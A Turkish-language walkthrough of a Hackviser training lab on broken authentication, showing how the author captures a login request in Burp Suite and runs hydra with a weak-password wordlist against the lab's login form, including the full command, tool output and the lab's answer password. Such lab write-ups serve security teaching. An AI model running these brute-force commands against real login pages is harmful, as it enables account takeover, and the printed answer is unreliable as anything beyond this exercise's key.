

DICTIONARY ATTACK WRITE-UP

Bu yazımda sizlere Hackviser platformu üzerinde bulunan Web Lab kısmı altında Broken Authentication zafiyetinin Dictionary Attack labının çözümünü anlatacağım.

SENARYO: Bu laboratuvar, zayıf parolaya sahip bir oturum açma sayfası içerir.

Laboratuvarı tamamlamak için, sözlük saldırısı ile "admin" kullanıcısının şifresini bulun.

"admin" kullanıcısının parolası nedir?

ÇÖZÜM: Siteye giriş yapalım. Bizi bir login sayfası karşılıyor. Burada bir şeyler girmeyi deneyip Burp Suite aracında yakalayalım.

```
1 POST /login.php HTTP/1.1
2 Host: knowing-unknown-soldier.europel.hackviser.space
```

Bizi ilgilendiren kısım burası.

Şimdi kullanıcı adını biliyoruz ve şifreyi bulacağız. Bunun için de brute-force yapacağız. Ben bunun için hydra aracını kullanacağım.

```
(root@kali)~[/home/kali]
# hydra -l admin -P /usr/share/SecLists/Passwords/500-worst-passwords.txt knowing-unknown-soldier.europel.hackviser.s
pace https-post-form "/login.php:username=admin&password=^PASS^:F=Wrong username or password"
```

Burada önemli bazı kısımlara değineceğim.

-l: kullanıcı adı belirtiyoruz.

-P: şifre kısmıdır. Daha sonrasında yazdığımız kullanmak istediğimiz wordlist dosyasıdır.

Burada wordlist dosyasında 500-worst-password-txt kullanmamın sebebi bize soruda verdiği ipucudur. Soruda bize (zayıf parolaya sahip bir oturum açma sayfası içerir.) dediğinden dolayı.

Daha sonra saldırı yapacağımız siteyi belirtiyoruz.

https-post-form: Login'de deneme yaparken POST kullandığımızı belirtiyoruz. Üstteki fotoda gördük.

`"/login.php:username=admin&password=^PASS^:F=Wrong username or password"`

Burası önemli. Burada login.php sayfa URL'sinden aldım. Username:password formatını düzgün yazılması gerekiyor ve ayrıca :F'den sonra yanlış deneme sonucu bize ne olarak dönüş yaptığını girdik.

Login

Wrong username or password

Username

Burada da görüldüğü gibi. Şimdi aracımızı başlatalım.


```
(root@kali)-[/home/kali]
# hydra -l admin -P /usr/share/SecLists/Passwords/500-worst-passwords.txt knowing-unknown-soldier.europe1.hackviser.s
pace https-post-form "/login.php:username=admin&password=^PASS^:F=Wrong username or password"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-14 21:02:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 499 login tries (l:1/p:499), ~32 tries per task
[DATA] attacking http-post-forms://knowing-unknown-soldier.europe1.hackviser.space:443/login.php:username=admin&passwor
d=^PASS^:F=Wrong username or password
[443][http-post-form] host: knowing-unknown-soldier.europe1.hackviser.space login: admin password: superman
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-14 21:02:35
```

Evet, cevaba ulaşmış olduk böylelikle.

CEVAP: **superman**

Giriş yaparak şifrenin doğru olup olmadığını kontrol edelim.



Effie Hallows
admin@hallows.hv

Logout

Profile Settings

Name	Effie	Surname	Hallows
Mobile Number	836-742-6007		
Address	72 Hermina Center		
Postcode	7440		
Email	admin@hallows.hv		
Country	Norway	State/Region	Coventry

Save Profile

Böylelikle labımızı çözmüş olduk.